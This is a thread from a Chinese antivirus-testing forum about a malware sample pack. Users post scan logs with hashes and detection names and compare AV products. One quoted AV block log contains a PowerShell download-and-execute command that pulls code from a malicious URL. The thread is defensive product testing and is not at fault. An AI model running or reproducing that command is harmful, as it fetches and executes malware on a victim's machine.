【开放测试】卡饭病毒样本包 20200714 第85期

显示全部楼层 · 发表于 2020-7-14 22:52:31

本帖最后由欧阳宣于 2020-7-14 23:29 编辑

BEST win10 x64 2004监控剩余4x
DHL011738920028PDF 触发上传沙箱鉴定为PasswordStealer
وثائق التحويل

On-Access scanning has detected an execution of a malicious command line.The process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe was blocked because of the execution of a malicious command line -Command IEX (New-Object(''Net.WebClient'')).''DoWnloadsTrInG''(''http://lujo.world/parse.jpg'')

复制代码

显示全部楼层 · 发表于 2020-7-14 23:11:39

rogersg 发表于 2020-7-14 22:33
唉，Norton这还是老样子，下载智能分析触发不了就疯狂拉垮。。。扫描连360都要不如了。。。

额有时间双击看看

显示全部楼层 · 发表于 2020-7-14 23:18:13

测试环境：Windows 10 企业版 2004
测试产品：腾讯电脑管家 13.6.20671.242
病毒库版本：管家反病毒引擎(2020-07-14)
测试项目：扫描
测试配置：标准
结果：扫描（3/14）
日志：
截图（可选）：

【扫描信息】
开始时间:2020-7-14 23:05:38
扫描用时:00:00:01
扫描类型:指定位置杀毒
扫描引擎:管家云查杀引擎管家反病毒引擎管家系统修复引擎 Bitdefender本地查杀引擎
扫描状态:扫描完成
【扫描结果】
扫描文件数:14
发现风险数:3
已处理风险数:3
---------------------
2020-7-14 23:06:17 MD5:e6bc38ccba3e57d16ace4b8512f3d95b C:\Users\Hai-qing_Pan\Desktop\7.14\DHL011738920028PDF.exe [Win32.Trojan.Inject.Auto] [删除成功]
2020-7-14 23:06:17 MD5:1fc438c9c6774fa4efa4725837c4fda0 C:\Users\Hai-qing_Pan\Desktop\7.14\update130720.dll [Win32.Trojan.Zenpak.Edeq] [删除成功]
2020-7-14 23:06:17 MD5:10fcf8f9a5cbf00587934bf6c817846b C:\Users\Hai-qing_Pan\Desktop\7.14\

复制代码

显示全部楼层 · 发表于 2020-7-14 23:33:40

本帖最后由 rogersg 于 2020-7-14 23:46 编辑

Lawchake78 发表于 2020-7-14 20:14
测试环境：WIN10 2004 企业版
测试产品：ESET INTERNET SECURITY 13.2.15.0
病 ...

可以发个日志看下وثائق التحويل.xls这个样本是什么报法么。。。我这边也是21653的病毒库版本，但扫描不会报，上传到VT扫描ESET也不报，有点奇怪。。。

显示全部楼层 · 发表于 2020-7-14 23:38:04

anthonyqian 发表于 2020-7-14 23:11
额有时间双击看看

等过两天有时间我装虚拟机试试吧，因为之前不管怎么样都触发不了下载智能分析我还特意把系统重装了，结果重装以后还是触发不了，问诺顿客服，客服说了一堆什么诺顿安全防护级别很高，就算下载智能分析触发不了也不会对安全防护效果产生很大的影响啥的。。。但就毒区的测试结果来看好像并不是这样。。。

显示全部楼层 · 发表于 2020-7-14 23:59:37

rogersg 发表于 2020-7-14 23:38
等过两天有时间我装虚拟机试试吧，因为之前不管怎么样都触发不了下载智能分析我还特意把系统重装了，结果 ...

很好触发的呀 ①浏览器用edge、②解压缩用7-zip、③文件要刚下载这三个条件同时满足应该都可以触发的

显示全部楼层 · 发表于 2020-7-15 00:06:58

rogersg 发表于 2020-7-14 23:38
等过两天有时间我装虚拟机试试吧，因为之前不管怎么样都触发不了下载智能分析我还特意把系统重装了，结果 ...

下载过程也要在虚拟机内进行

显示全部楼层 · 发表于 2020-7-15 00:12:21

BDTS 2019
扫描完删除后还剩八个样本。

显示全部楼层 · 发表于 2020-7-15 05:55:23

管家国际版9x

显示全部楼层 · 发表于 2020-7-15 11:11:27

happy_king 发表于 2020-7-14 20:01
测试环境：windows10 2004 x86
测试产品：火绒安全软件
病毒库版本：2020-07-14 ...

原来两个分数相加的结果，是分子+分子、分母+分母呀

[病毒样本] 【开放测试】卡饭病毒样本包 20200714 第85期